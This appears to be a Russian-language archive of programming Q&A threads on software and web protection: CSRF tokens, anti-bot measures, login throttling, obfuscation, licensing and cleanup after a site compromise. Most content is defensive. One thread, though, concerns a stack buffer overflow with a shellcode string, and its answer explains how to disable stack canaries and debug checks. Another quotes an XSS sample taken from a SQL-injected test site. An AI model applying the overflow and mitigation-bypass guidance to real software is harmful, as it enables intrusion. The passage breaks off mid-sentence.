Страницы

Поиск по вопросам

Показаны сообщения с ярлыком защита. Показать все сообщения
Показаны сообщения с ярлыком защита. Показать все сообщения

вторник, 7 апреля 2020 г.

CSRF-токен в куках

#php #алгоритм #cookie #защита #csrf

                    
почему некоторые сайты хранят CSRF-токен в куках?

Ведь если отправить, к примеру, GET-запрос - 


Ответы

Ответ 1



Само по себе это действительно бесполезно, если сервер помнит соответствие токен-пользователь и проверяет только его. Но в сочетании с передачей такого же токена в параметрах это становится быстрым и простым способом защиты от CSRF: вы ставите пользователю в куки совершенно случайный токен и проверяете, что в параметрах запроса впоследствии приходит точно такой же. Проверяется соответствие запрос-кука. Потенциальный атакующий не сможет достать его из-за Same Origin Policy (можно ещё досыпать сверху HttpOnly, чтобы не получить дыр из-за JS), а потому не сможет его продублировать в запросе. И нет необходимости запоминать что-либо на сервере.

вторник, 17 марта 2020 г.

SharedPreferences - запретить удаление

#android #защита


При первом запуске, приложение создает определенные SharedPreferences. Вместе с этим,
пользователю выдаётся некий бонус. Если удалить данные приложения в настройках самого
устройства - приложение будет считать что его только что установили, и выдаст бонусы
как для первого посещения. Как можно защититься от этого? Можно ли как-то запретить
пользователю удалять их?
И еще такой вопрос - можно ли как-то "узнать" приложению было ли оно установлено
ранее, чтобы при установке\удалении\установке - приложение понимало, что пользователь
уже устанавливал его и бонус он не получит? )    


Ответы

Ответ 1



Может сделать что-то типа бесплатного In App Purchase? А в Google Play проверять, был ли он куплен хоть когда-нибудь. Я бы копал в эту сторону.

Ответ 2



Регистрируйте юзера на своем вебсервисе. При любом запуске - приложение проверяет, зареган ли юзер, если нет - то регает и дает бонус. Других способов обойти то, о чем вы говорите нет.

четверг, 13 февраля 2020 г.

Защита скрипта от распространения

#скрипт #защита #php


Вот хочу поставить на продажу скрипт, но не знаю как защитить его от распространения
другими лицами (платно или бесплатно). Подскажите, пожалуйста.    


Ответы

Ответ 1



Зашифруйте его с помощь Zend Guard. В код никто не сможет внести изменения, добавьте в скрипт привязку к домену (или в самом Zend Guard можно настроить привязку к домену) и никакого распространения не будет. Единственный минус, не на всех хостингах может стоять zend optimizer (необходим для того чтобы зашифрованные файлы заработали), поскольку защифрованные скрипты могут создавать повышенную нагрузку, но это со слов хостинговой компании :) Помимо Zend Guard существуют и другие программы: ionCube, Nu-Coder. Есть также так нызываемые программы Дезендеры, которые призваны расшифровать байт код, но на практике работают они плохо и на выходе получается неработающий код.

Ответ 2



Добавьте в код периодическую отправку на ваш сервер POST-запроса с токкеном покупателя. На своем сервере проверяйте соответствие токкена домену, указанному при покупке, и возвращайте ответ, в зависимости от которого код продолжит работать или выполнит некоторые действия (уведомит вас о левом использовании кода, вернет некорректные данные или внесет изменения в свой код). Ответ при этом должен быть для непосвященных рандомный, но в самом коде должна быть проверка на валидность.

Защита от ботов

#алгоритм #защита


Какие НЕСТАНДАРТНЫЕ методы существуют для защиты сайта от ботов, чтобы они не могли
тыкать и посылать запросы по определенной ссылке? Какие у Вас оригинальные мысли есть
по этому вопросу? :)
Captcha меня не устраивает, т.к. она достаточно надоедливая штука, и не оригинальная...
Почему я задаю этот вопрос, а не ищу в интернете:
В интернете конечно есть кучу информации по этому вопросу, и гугл выдаст мне примерно
6 770 000 (0,15 сек.) данных. Но на первых местах будут статьи, ссылки, теории о стандартных
методах ухода от ботов. А чем более стандартный метод защиты - тем больше над обходом
этого метода задействовано средств. Т.е. - тем более стандартный существует метод обхода.
Поэтому я решил задать вопрос тут, и узнать мысли у Наших Специалистов!

Известные мне защиты:

Капча-обыкновенная (она же картинка) - дается пользователю картинка с искаженным
текстом, необходимо ввести этот текст. 

Недостатки: Многие виды современных капчей-картинок распознать тяжело, даже если
Вы не робот.
Вариант обхода: Распознается с помощью OCR или специальных сервисов типа антигейт

Текстовая капча (или вопрос-ответ) - дается пользователю текст (или картинка) с вопросом,
например сложите 2 числа.

Недостатки: Есть вероятность, что человек может не знать ответа.
Вариант обхода: Обход по составляемой для популярных ресурсов базе, обновляемая база
входит в комплект хрумера. Распознавание с помощью 3-их лиц, сервисы типа антигейт.

Интерактивная капча - дается пользователю задание, которая решается манипуляцией
объектов на странице. Например есть 4 картинки с надписями (1,2,3,4) их необходимо
перетащить в область по возрастанию. Вот например.

Недостатки Необходимо тестировать на всех браузерах (или ограничивать браузеры)
Вариант обхода В принципе можно ухитриться на JS, но тут надо хорошо подумать бото-писателю )

Ловушка для бота - создаются невидимые элементы, всё что угодно, и бот либо попадает
в эту область, либо он заполняет лишние данные, из-за которых действие не будет произведено.

Варианты обхода эмулятор браузера, бот бродит в точности как человек.

Еще одно ухищрение JS - при нажатии на кнопку, отправляются координаты нажатия на кнопку

Варианты обхода ботописателю надо немного посидеть и посмотреть почему его бот не
проходит (но т.к. все мы люди, то возможно он решит не связываться)

сервисы фильтрации спама основана на вычленении каких-то признаков спама из текста
сообщений и может быть IP адресов, может быть куках браузера

Недостатки Не способна защитить формы регистрации, или какие-либо другие произвольные
формы
Вариант обхода С помощью управляемого браузера и не сильно агрессивного поведения
бота, можно спамить

Вот, что первым пришло в голову :) Суть вопроса еще в том, чтобы немного повысить
свой багаж знаний. По данным ответам и комментариям уже появились новые мысли в этом
направлении...    


Ответы

Ответ 1



Ну хорошо, давайте устроим мозговой штурм. Замените ссылки a href=... на css-класс + привязанным к этому классу события в js. Уберите ссылки вообще, пусть ваши пользователи вместо этого пишите инструкции для пользователей (Чтобы выполнить запрос А, добавьте к адресу текущей страницы GET-параметр B со значением C...) Сделайте сайт в фреймах, нижний фрейм будет выполнять роль консоли, в которой пользователь пишет некоторые данные, которые от него требуются в верхнем фрейме. Данные будут синхронизироваться при помощи localStotage, comet или ajax. Используйте ссылки-капчи. Допустим есть ссылка "Продолжить", после нее в скобках стоит (нажмите на первую половину слова). Вариант п. 4. Сделайте три ссылки "Продолжить" с указанием какую именно их них нажать (ссылки могут быть разного цвета).

Ответ 2



Фильтрация пользователей без поддержки JS & cookie. Ограничение периодичности запросов на сервер. В hidden readonly input средствами JavaScript записывается хеш-код информации всех полей формы. Значение повторно вычисляется на сервере и сравнивается с полученным. Проверка useragent Установить минимально допустимое время на заполнение формы. Обфускация или шифрование HTML & JS Установка капчи только для неавторизированных пользователей или новичков. Вот еще мой любимый, но немного странный способ (перенаправление запросов через JS).

пятница, 31 января 2020 г.

Защита от подделывания данных в ajax запросе самим пользователем

#запрос #ajax #клиент #защита #javascript


Всем привет, уже весь инет перерыл. Представим себе такую ситуацию. У нас есть игра
на js, в которой пользователь набирает очки. Эти очки нужно сохранить на сервер для
создания таблицы рекордов. Рекорд вместе с id пользователя и токеном через ajax передается
на php сервер. Если токен защищает аккаунт пользователя от стороннего вмешательства,
то как защитить рекорд от замены его самим пользователем? Ведь юзеру ничего не мешает
подменить запрос, взяв свой токен, и легко попасть на первое место. Переменная, хранящая
текущий результат на клиенте, зашита в функцию-обработчик. Поэтому пользователь ее
просто так не изменит. А вот запрос подделает запросто. Какие средства защиты нужно
использовать? Помогите!    


Ответы

Ответ 1



Ну первое, что приходит в голову - обеспечить ситуацию, при которой сервер будет знать, что запрос пришел именно из игры, а не создан искусственно. Предлагаю в игре генерировать некий хеш, завязанный на глобальное время и зашифрованный только вам известным способом. На сервере принимать его, генерировать свой хеш по тому же принципу и сравнивать.

Ответ 2



Цитата с хабра: Написал метод который дублировал результат. В одном параметре передавался реальный, в другом шифрованный результат, методом замены символа по ключу. А далее, на сервере оба сравниваются и если что-то не соответствует, то – бан по аккаунту. И еще, сервер отправляет сгенрированный ключ при первом обращении. Клиент же, должен его вернуть с результатом. Без этого ключа, результат не примется и если все соответствует, и все проходит проверку, то результат записывается в БД, и генерируется новый ключ, который опять отдается клиенту. Это сделано для того, чтобы повторно запрос с результатом не могли отправить, как делается в программе «Charles».

среда, 29 января 2020 г.

Защита сайта от взлома [закрыт]

#php #защита #взлом #xss #sql_injection


        
             
                
                    
                        
                            Закрыт. Данный вопрос необходимо конкретизировать. Ответы
на него в данный момент не принимаются.
                            
                        
                    
                
                            
                                
                
                        
                            
                        
                    
                        
                            Хотите улучшить этот вопрос? Переформулируйте вопрос,
чтобы он был сосредоточен только на одной проблеме, отредактировав его.
                        
                        Закрыт 4 года назад.
                                                                                
           
                
        
Создал, наконец, свой первый проект. Начитался кучу информации по защите сайта (sql-инъекции
и т.д., и т.п.). Но я понимаю, что в сети не рассматриваются все нюансы по защите,
поэтому я создал шуточный клон сайта, залил на сервер и пытаюсь найти дыры в безопасности.
Пока безуспешно - стоит строгая проверка на url-адрес, админка скрыта в таинственной
папке))) 

Вопрос очевиден - я хочу понять, есть ли возможность взломать сайт, открыть структуру
папок и попасть в админку.

Уважаемые программисты, помогите, пожалуйста! 
Я прописал в .htaccess вывод любых предупреждений и ошибок, поэтому буду премного
благодарен за взлом собственного сайта! Фишка в том, что весь проект написан собственноручно
в Коделобстере без использования готовых шаблонов.

P.S. Для админ-части аутентификация написана собственноручно, пожалуйста, взломайте
и ее. Попыток входа - 3. Сейчас я увеличу до 20.

Псевдосайт - http://mars.fh38095o.bget.ru/

P.P.S. Кто действительно заинтересуется и покажет, что невозможно найти ссылку на
админку, я скину url в личку.
    


Ответы

Ответ 1



Я не знаю, что такое "коделобстер" но, судя по всему, 'то какая-то платформа для создания уязвимых сайтов. Выкладывать на проверку код со столь хрестоматийной SQL инъекцией должно быть стыдно. Ну и просить протестировать на безопасность игрушечный сайт, в котором всего 5 таблиц (block_pages,category,feedback,simple_pages,temple) и нет практически никакой информации - это как бы смешно. Ты бы еще выложил программу Hello world и попросил ее взломать. Что там ломать? Зачем? Кому нужен этот сайт? Если бы, скажем, сайт хранил номера кредиток, то они бы уже уплыли, как эти глубокомысленные вопросы из таблицы feedback: alert('hello'); hello ddddddd dddd ddddddddddd dddddddddddddddd dd dddd ddddddddd ddd dddddddd dd dddddd dddddddddddd ddddddddd ddddddddddd dd dddd dddddddddddd dd ddd ddddddd dddddddddd dddddddddddd ddd dd dddd dddddddd dddd ddddd dddd ddddddd d dddd dddddddd ра дывал п у дм жчсдялыпыа adfasdf asadf adf asdf asdf adf asdfasdfasfdasdfagfsdghsdbcxasdf Опять же, интерфейса к этой таблице на сайте нет. То есть, в последний момент автор забоялся, и прикрутил вместо нее к сайту Disqus. Очень, очень остроумный способ тестирования. Судя по тому, что в комментариях автор путает XSS с SQL инъекцией (собираясь защищаться от первой с помощью "stmt"), а "скрытая админка" почитается им как верх хитроумия в защите сайта, то ему просто рано выклыдывать что-либо на тестирование. По поводу намека на дыры. Дело в том, что никакие намеки здесь не нужны. Все, что тебе нужно знать - это то, что была SQL инъекция. Ну так об этом было сказано безо всяких намеков, открытым текстом. А вот какая конкретно - для защиты знать не нужно, от слова "совсем". Фишка в том, что для обеспечения защиты про дыры знать не нужно. Защита от атак иррелевантна самим атакам. Про то что нужно для защиты - написано было во всех учебниках (ну, кроме устаревших): надо, чтобы любые переменные попадали в запрос не напрямую, а через плейсхолдеры. Вот это и надо было делать. Ты об этом знал (как следует из твоих комментариев, когда ты собрался XSS лечить через "stmt"), но не придавал значения. Вот теперь, после того как ты закрыл эту дыру, надеюсь, будешь придавать. И опять же, сам видишь - чтобы закрыть дыру тебе не понадобилось узнавать, как был произведен взлом. Чтобы строить защиту, надо уметь строить, а не ломать. "Намекать на дыры" бесполезно. Здесь смысл не в том, чтобы залатать одну конкретную, а в том, чтобы все запросы без исключения выполнялись по единому безопасному принципу. И тогда хакер пусть хоть в лепешку разобьётся, но ни одной дыры не найдёт. По поводу XSS. Ситуация довольно забавная. Действительно, где-то в недрах сайта режется, почему-то, прямой слеш. Но, разумеется, это не может помещать, и XSS можно внедрить и без слеша. Но тут уже, увы, на твою защиту встают браузеры, которые научились отфильтровывать такие явные XSS-через-запрос за горе-программистов. Но опять же, надеяться на браузер - это значит гарантированно налететь на инъекцию. Такие вещи надо делать самому. Причем делать, опять же, не "как бог на душу положит", а сис-те-ма-ти-чес-ки! Вот ты вырезал теги в фидбеке и успокоился. А в идентификаторе страницы - нет. А здесь должна быть та же система, что и с SQL инъекциями - не надо сидеть и думать, где знадо защищаться, а где не надо. Защищаться надо везде! В защите от XSS аналогом плейсхолдеров в SQL может являться шаблонизатор с автоискейпингом. То есть, мы можем считать себя в безопасности, если Любой, абсолютно любой вывод производится только через шаблонизатор. По умолчанию шаблонизатор форматирует ВСЕ выводимые переменные. И только те, для которых указано явно, что они должны выводиться как есть - выводятся как есть. Таким шаблонизатором, в частности, является Twig Да, и еще одно замечание. Код or die("Ошибка в запросе $zapros"); это просто подарок взломщику. Скажем, если бы его не было, то я бы просто не взялся ломать - это потребовало бы куда больше времени, а время - деньги. Судя по всему, ты прямо в коде обращаешься к функциям mysqli. Этого делать тоже не надо, но к безопасности это отношения не имеет, а для практики сойдёт. Но эти свои чудовищные or die() постирай все до единого. Вместо этого перед коннектом к mysql напиши одну строчку, mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

Защита игры от взлома

#разработка_игр #клиент_сервер #защита


Никогда не разрабатывал игры, интересует такой вопрос, допустим есть клиент игры
в котором есть персонаж "лучник" который стреляет со скоростью 1 выстрел в 1 секунду,
если с помощью программы(например hlapex) поймать пакет который отвечает за выстрел,
и отсылать его каждые 0.1 то лучник получается будет делать 10 выстрелов в 1 секунду?
То есть на сервере нужно проверять когда был последний выстрел и если следующий выстрел
слишком быстро произошел, то блокировать этот выстрел? Или я что-то не понимаю и выстрелы
не отправляются? Вообщем может кто-то объяснить?
    


Ответы

Ответ 1



Все верно. Учитывай время между запросами. Блокируй если "выстрелы" приходят при меньшем таймауте чем разрешено.

Ответ 2



Насколько я знаю, хорошей практикой считается не отправка на сервер пакета с действием как например "Выстрел", а отправка пакета "Начал стрельбу" по нажатию клавиши и "Закончил стрельбу" по отпусканию клавиши. Скорость атаки, количество выстрелов и всё остальное при этом будет считаться на сервере, пока идёт стрельба. Как минимум такой подход защитит от ситуации, описанной в вашем вопросе.

вторник, 28 января 2020 г.

Привязка к железу

#c_sharp #копирайт #защита


На просторах сети немало устаревших и критикуемых кодерами (опять же, в смысле реализации
защиты приложения) способов привязать использование программы к конкретной машине при
помощи проверки информации вроде серийника HDD, процессора, материнской платы и т.д.
Какой же способ является наиболее надёжным и современным? Интересна реализация на C#.    


Ответы

Ответ 1



C# без проблем декомпилируется в исходный код. Поэтому попытки привязать всякие механизмы защиты - бессмысленная затея. Пустая трата времени и денег. Лучше сделайте хороший продукт, и напишите лицензионное соглашение. Можете добавить автоапдейтер, который при поиске обновлений, будет отправлять серийник к вам в компанию, где будет проверяться на валидность. Если он у вас зарегистрирован - молча отдаем обновления, если нет - ругаемся клиенту, и прекращаем выполнение программы, попутно где нибудь в реестре сохраняем инфу о невалидности программы. Но это тоже не панацея(см. п. 1).

Ответ 2



Складываете несколько параметров (материнка, жесткий и т.п.) в одну строку, и считаете md5 с солью.

Ответ 3



Может не совсем то, но все таки рискну написать. В студенческие годы был на одном заводе, там была программка, которая была защищена с помощью SenseLock. По крайней мере мне это решение показалось очень интересным. И если я правильно понял, возможность исполнять программы, написанные на C, позволяют прописать любой механизм проверки (ограниченный количеством строк кода только).

Защита от декомпиляторов

#c_sharp #защита


Я защищаю свою программу themida, но если сделать дамп файла и закинуть в de4dot,
то программа легко декомпилируется рефлектором.
Как и чем лучше защитить мою программу?
    


Ответы

Ответ 1



подскажите новичку как и чем лучше защить мою программу Ничем. Защита от декомпиляторов - это то же самое, что и защита от дурака. Идея может быть и хорошая, но как показывает практика, ни к чему толковому не приводит.

Ответ 2



Можно применить обфускацию кода- это когда в IL-код добавляются какие-то инструкции, которые критичны для стандартных декомпиляторов, но не критичные для работы программы в целом. Обычно, программы декомпиляции сразу же на этом будут спотыкаться и тому, кто жаждет увидеть ваши исходники на высокоуровневом языке, придется лазить по IL-коду и исправлять участки. Однако, зная каким обфускатором- это было проделано, не составит труда автоматически все поправить. Почему это работает? Как правило, на низком уровне можно делать больше, чем на высоком уровне. Декомпилятор при преобразовании IL-инструкций в целевой высокоуровневый язык оперирует логикой и ограничениями целевого языка и при встрече чего-то экзотического обламывается не зная, как это выразить в целевом языке. Однако, изучая чистый IL-код так же можно понять, как работает программа так как, как правило, методы имеют понятные имена и можно сделать предположение о том, что тут делается. В этом случае есть другой класс-обфускации, когда методы и переименовываются в не пойми чего, что затрудняет понимание кода. Но опять же, это не остановит того, кто пытается понять код, а лишь замедлит. В неуправляемых языках такая же ситуация, но код там машинный и его так же можно изучить и понять, правда, несколько проблематичнее, но можно. Всякое ПО именно так и взламывается, например Denuvo, которая ранее считалась неуязвимой, процесс отдебажили спец. дебаггером и теперь выпускают кряки на игры. Потребовалось где-то ~1-2 года. Вы можете подумать, что проблема в открытости платформы? Нет! Даже iOS, которая полностью закрыта и можно ставить приложения только через спец.программу и магазин ухитряются ломать и ставить пиратские маркеты. Игровые консоли пусть и долго, но взламываются, что бы играть в пиратские игры. Более того, БИОС консоли дампят и на основании этого пишут эмуляторы, что бы запускать все на ПК. Подводя итог: 100% защиты нет. Можно лишь замедлить процесс взлома. Если бы она была бы вы думаете, что крупные корпорации этим бы не воспользовались? Например, Microsoft что бы защитить Windows. У нападающего(взломщика) всегда есть преимущество перед обороной Как вариант- это все важное хранить на веб-сервисе и в таком случае никто не доберется до ваших исходников. Такую архитектуру имеют онлайн-игры, где все важное вычисляется на стороне сервера и поэтому нельзя взломать(как правило) игру через какой-нибудь ArtMoney или CheatAngine. Конечно, если разработчик не дурак(Вспомним The Devision)

воскресенье, 5 января 2020 г.

Как в linux запаковать с паролем?

#linux #bash #защита #архивация


Пишу небольшой sh-скрипт для архивирования папок на яндекс:диск и задумался о том,
что tar -cvzf не поддерживает создание пароля, а складывать архивы с серверов на облако
как-то нет желания.

Как  можно запаковать каталог под линукс с использованием пароля? Только вариант
"ставить zip/unzip"?
Требований по скорости/сжатию нет (я не сжимаю вообще при архивировании), а шифрование
должно быть достаточно стойким для 2019, а не какие-то древние/поломанные давно алгоритмы.
    


Ответы

Ответ 1



Если задача стоит, только защитить содержимое паролем, то можно воспользоваться парой утилит zip/unzip. zip -e С опцией -e утилита запросит задать пароль. Смотри: $ man zip и $ man unzip для справки по другим опциям. Рабочий пример: $ touch file{1,2,3}.txt $ zip -e file.zip file* Enter password: Verify password: adding: file1.txt (stored 0%) adding: file2.txt (stored 0%) adding: file3.txt (stored 0%) $ rm file[123].txt $ unzip file.zip Archive: file.zip [file.zip] file1.txt password: extracting: file1.txt extracting: file2.txt extracting: file3.txt

суббота, 4 января 2020 г.

Защита кода на странице

#javascript #html #кодировка #защита


Возможно ли защитить исходный код страницы использую только JS?
Например блокировать пункт "Исследовать элемент" и "Исходный код" в меню при нажатии
ПКМ, блокировать такие клавиши как F12, CTRL+S и другие, позволяющие просмотреть исходный код.
    


Ответы

Ответ 1



Все указанные вами действия "защитить" нельзя(возможно даже никакие). Но, даже если бы это и удалось - можно использовать анализаторы трафика(снифферы), при помощи которых можно легко глянуть любой код. Например, Charles или wireshark. PS. нужно понимать, что любой html,css,js, который попадает клиенту - нельзя защитить от просмотра, т.к. он должен быть передан по сети и выполнен у клиента, а значит может быть просмотрен не только движком JS, но и человеком:D PPS. но для защиты кода(js) - можно использовать обфускаторы(заодно они и минификаторы): JSmin, Closure compiler, YUI Compressor. защитить же css и html - никак нельзя (хотя можно, конечно, его минифицировать, но это в две секунды любой IDE-шкой правится на читабильный вид.)

вторник, 31 декабря 2019 г.

Есть ли в Windows на уровне ОС какая-либо защита от переполнения буфера?

#windows #c #безопасность #защита #cpp


Добрый день!
У меня возникла проблема при реализации переполнения буфера.
Если я делаю прямо в программе так:
char buffer[4];
strcpy(buffer, "AAAA\xf9\xc0_и.т.д._мой_шеллкод_");

То шеллкод выполняется и все работает.
Если же я пишу в программе
char buffer[4];
strcpy(buffer, argv[1]);

И пытаюсь подать программе на вход шеллкод, то программа крашится.
Отсюда у меня возникли мысли, что возможно эту проблему как-то контролирует сама
ОС? (Win 8.1)
Подскажите, так ли это? Если так, то возможно ли отключить этот контроль?    


Ответы

Ответ 1



Такими вещами занимается пара из ОС и компилятора. Например, Visual Studio содержит ключ /GS (по умолчанию включён), который активизирует т. н. stack canary: в определённые места в стеке записывается случайное число, и если впоследствии это число оказывается затёрто, детектируется stack smash. Чтобы отключить, попробуйте ключ /GS-. Кроме того, в отладочном режиме Visual Studio вставляет дополнительные проверки границ массивов, так что вам, возможно, придётся переключиться в Release Mode (или поискать, как это отключается в свойствах проекта). По поводу разницы в поведении Release и Debug Mode. Для начала: выход за границу выделенной памяти есть undefined behaviour. Убедитесь, что вы в курсе этого понятия, оно отвечает за 95% проблем в безопасности; вы, как будущий специалист по software security, должны это особенно отчётливо понимать. Undefined behaviour значит, что компилятор не имеет никаких обязательств в этой ситуации, и любое поведение программы правильно. Теперь, в случае отладочного режима, компилятор специально для разработчиков вставляет проверки на затирание памяти для того, чтобы сообщить об ошибке как только она случится (иначе найти проблему будет сложнее). Такой контроль не требуется по стандарту, и разумеется отнимает время пробега программы. В случае release-режима, такие проверки не вставляются для ускорения работы программы, и вся безопасность держится на stack canaries, ASLR, NX-битах и тому подобных менее надёжных вещах. Которые тоже, строго говоря, не требуются стандартом, и вставляются исключительно по доброй воле разработчиков компилятора (и к тому же отключаются соответствующими ключами).

воскресенье, 29 декабря 2019 г.

c# Как обнаружить вторжение в память своей программы

#c_sharp #процесс #защита #виртуальная_память


Существуют различные программы по захвату текста с форм (например в ЯП Autoit, есть
функция ControlGetText, которая считываем с контролера текст), есть программы, которые
вообще позволяют влезать в память процесса, такие как Cheat Engine (например). 

Собственно вопрос. Есть ли способ обнаружения "вторжения" в память своей программы?
Как это можно реализовать? В какую сторону копать? 
    


Ответы

Ответ 1



Нашел интересный ответ: Ничего не мешает злоумышленнику заморозить ваш процесс, сделать все необходимые действия и убить процесс => процесс не узнает ничего о том, что кто-то его читал. Можно так сделать дамп памяти и опять же процесс не будет знать, что кто-то читал его память. Существуют дебаггеры, которые позволяют перелопатить ваш процесс по косточкам. Как вы указали в своем вопросе, то самые банальный пример- это взлом компьютерных игр. Если бы разработчики имели универсальное решение, то все бы читеры давно вымерли, а они все плодятся и плодятся => нельзя защитить память своего приложение. Разработчики вынуждены использовать анти-читы и ловить подозрительные активности игроков. Закрытость платформы, где юзер имеет ограниченные возможности, может обеспечить защиту от взлома процесса. Например, игровые консоли. Еще один выход- это хранить важную информацию на сервере, куда злоумышленник имеет меньшую вероятность попасть и время от времени выполнять верификацию клиента. Так, обычно, делается в ММОРПГ. Подводя итог: Вы больше всего зависите от среды в которой работает ваше приложение. Если она имеет API для обнаружения, то используйте его, в противном случае у вас нету никаких возможностей, так как памятью рулит ОС, а не вы. Например, у Windows есть DEP, который мониторит память и предотвращает запуск вредоносного кода из стороннего процесса.

среда, 18 декабря 2019 г.

Активация учётной записи за/против, варианты

#защита #авторизация #активация


Недавно задался вопросом по поводу авторизации.
При регистрации на сайте автоматически генерируется пароль и отправляется на почтовый
ящик.
Интересны за и против этого способа и другие варианты на подобие активации через
уникальный код.    


Ответы

Ответ 1



Активация учетной записи через письмо заставляет пользователя делать массу вещей, прежде чем он увидит Ваш драгоценный сайт. Как правило страдает первое впечатление от сайта.. Мое мнение: Никогда не генерируйте пароль автоматически и не посылайте его на почту. Дайте пользователю свободу выбора, и избавьте его от необходимости менять этот пароль сразу после регистрации. Отправьте пользователю на почту ссылку для активации, но предоставьте ему сразу доступ к сайту. + показывайте где-нибудь на видном месте, что аккаунт нужно активировать. Почистить раз в неделю/месяц неактивные и неактивированые аккаунты не так сложно Сделайте возможность входа посредством OpenID или при помощи популярных соц. сетей. Не каждый пользователь захочет регистрироваться, а вот сразу получить доступ - уже другое дело

Ответ 2



Отправкой на телефон кода активации.. Но тут думаю люди испугаются за средства на счету)

Ответ 3



Терпеть не могу активацию учетки через письмо на мыло!!! Бывает что сижу на работе и регистрируюсь на каком-нибудь ресурсе на свое мыло, а открыто в это время рабочее, и приходится перелогиниваться, подтверждать то что я не бот, и опять перелогиниваться, да я к тому времени рискую забыть на кой черт мне этот сайт нужен был... P.S. все изложенное IMHO UPD. Об усиленной защите. Регистрировался на стэке, не используя левые акки. 1.Ввел мало символов в пароле - назад. 2.Ввел не ту капчу (жесткая видать попалась) - назад. 3.Ввел ту капчу, ту длину пароля, но в пароле нужны разные символы/регистры - назад... Мне показалось это все немного лишним.

Ответ 4



Я за активацию учетной записи только на тех сайтах, где это действительно нужно. Т.е., на e-mail будут постоянно приходить какие-то важные уведомления.

Ответ 5



Активация аккаунта с помощью почтового ящика создана не для того, что бы раздражать пользователей. Первоначальное и самое главное ее предназначение - обеспечение правильности и корректности введенных регистрационных данных пользователя. Если пользователь ввел неверный адрес почтового ящика, то сразу же исчезают функции: ► Восстановления утерянного пароля при помощи почты. ► Рассылка новостей или информационных писем, в том числе диалоги с администрацией портала. ► Смена почтового ящика(как подтвердить смену?). ► Возможность просмотра профильной информации в регистрационном письме пользователем. Следовательно он не сможет вспомнить свой логин или даже адрес сайта в случае его потери. ► Защита от ботов. и многие другие... Рекомендую, для сохранения анонимности данных пользователя, на почту не высылать пароль, вдруг адресат будет неправильным.

Ответ 6



Зло. Вот Вам не пофиг, реальный у меня email или нет? С точки зрения рассылки спама - вариант самое оно, а как для людей - ну его..

понедельник, 16 декабря 2019 г.

Как сделать таймаут при вводе пароля?

#php #защита #взлом


Хочу сделать защиту от перебора паролей (метод «грубой силы») в моей системе на PHP
для Панели Администратора.
У меня уже стоит CAPTCHA, но это не защищает.
Хочу сделать таймаут. Ввел 5 раз не правильно пароль — отдыхай 12 часов.
Проблема вот в чем: просто так отследить компьютер-то не получается, IP у многих
динамичный, а Cookie легко удаляются. Писать в БД «для всех» тоже не хорошо: вдруг
кто-то просто так захочет побаловаться, а администратор потом будет сутки ждать.
Есть, конечно, другой вариант: ставить таймаут после каждого ввода пароля секунд
на 5, так, чтобы сильно замедлить брутфорс + можно после 100 неправильных паролей отсылать
на email владельцу сайта письмо, мол, пытаются взломать.
Что Вы думаете об этом?    


Ответы

Ответ 1



После первой неудачной попытки авторизации в час «проверяйте» пароль секунд 5-10 перед тем, как сообщить верный ли он. Пользователя при входе кидает на промежуточную страницу «минуточку, проверяем пароль», которая обновится только через 10 секунд и только тогда будет известно, вошли мы или нет. Обновил страницу раньше — продолжаешь ждать. Для этого на сервере, при каждой попытке авторизации: Проверяем время последней неудачной попытки входа. Если дальше, чем час назад — переходим к п.5. Запоминаем в сессии время начала запроса. Отдаем страницу «пожалуйста, подождите», которая всеми средствами (, javascript, ручная ссылка «обновить») обновляет себя. При каждом обращении смотрим, прошло ли 10 секунд с начала операции. Если не прошло — см. п.3, если нет — п.5. Выдаем результат авторизации, если успешно — логиним пользователя, если нет — запоминаем время неуспешной авторизации и назад на форму входа и от нее снова начиная с п.1. Брутфорс на скорости в меньше десятка паролей в минуту быстро перестанет быть интересным. Легитимный пользователь же подождет свои 10 секунд и успешно залогинится. Всякое security through obscurity типа входа по GET-параметрам не рекомендую. Оно будет или не сильно полезным или вредным (ссылка для входа останется в истории браузера и будет регулярно вылезать автокомплитом — прекрасная вещь для демонстрации гостям).

Ответ 2



Во первых стоит сделать защиту от чрезмерно частых запросов страниц. Во вторых предложу такой вариант: записывать в файл или еще куда id пользователей и время подбора и удваивайте таймаут ввода пароля вплоть до 24х часов. Данный способ рекомендовали на хабре но для несколько других целей.

Ответ 3



Динамический IP - на самом деле небольшая сказка. Он по факту не меняется при каждом переподключении, даже на диалапе (который, как я думаю, отсутствует в наше время). Плюс можно использовать уникальный ключ (md5 от юзерагента, IP, еще каких-либо данных)

Ответ 4



Панель администратора говоришь? Ну как вариант переместить админку, т.е. поменяй урл, старый можешь оставить, но чтоб всегда неправильный пароль писал. Если капчу обходят, то поменяй капчу на более сложную, на рекапчу например, порой самому трудно прочитать что там написано. Капча в основном помогает от ботов, но и от живого брутера поможет, который через пару десяток капч бросит сие занятие.

Ответ 5



Давно писал такую штуку, покопайте session_start(); $time = time(); ### Разрешать запросы # Не чаще чем $max_n = 5; # раз # за $max_t = 10; # секунд if(empty($_SESSION['ban']['time'])){ $_SESSION['ban']['time'] = $time; } if(empty($_SESSION['ban']['rate'])){ $_SESSION['ban']['rate'] = 1; } if($_SESSION['ban']['time']+$max_t < $time){ unset($_SESSION['ban']); echo 'true'; }else{ if($_SESSION['ban']['rate'] > $max_n){ echo 'false'; }else{ $_SESSION['ban']['rate']++; echo 'true'; } }

Ответ 6



А ещё вот так можно сделать: Как защитить админку сайта? То есть - вход только по get запросу. Если его нет - тогда пусть выходит чистая страница. И так вообще не понятно будет что это такое.

среда, 11 декабря 2019 г.

Взломали сайт, помогите найти дыру в защите

#администрирование #ssl #хостинг #защита #взлом


Доброго времени суток!

Я администрирую сайты у нас в компании.
Недавно нам взломали сайт, и не один. Атакам ежедневно подвергаются все сайты, находящиеся
на хостинге. Выглядит это как добавление php файлов, архивов и целых папок в корни
сайтов и в директории типа images.
Результатами взлома сначала являлась подмена главной страницы для роботов гугл, затем
2 рассылки с нашего почтового сервера и рассылка со ссылкой на нехороший файл на одном
из наших сайтов.

Что было сделано:


Почистили все от вредоносного кода, обновили cms основного нашего сайта, так как
сначала думали, что только он был взломан, запретили доступ к системным папкам по другим ip.
Поменяли все пароли (к ftp, cms, бд). 
Дальнейшие действия не очевидны. Наш хостер не дает изолировать друг от друга папки
на хостинге, как и не может ограничить доступ к ftp по другим ip( 


Какой следующий шаг?

UPD 4.12.17


Установили на всех сайтах логи доступа.
Прогнали сайты через ai-bolit, появилась почва для размышления и поле для деятельности.
После вычистки и настройки сайтов будем их разносить по разным хостингам и наблюдать.


UPD 18.12.17


На прошлой неделе выложил на хостинг чистые копии сайтов. Ограничил доступы к системным
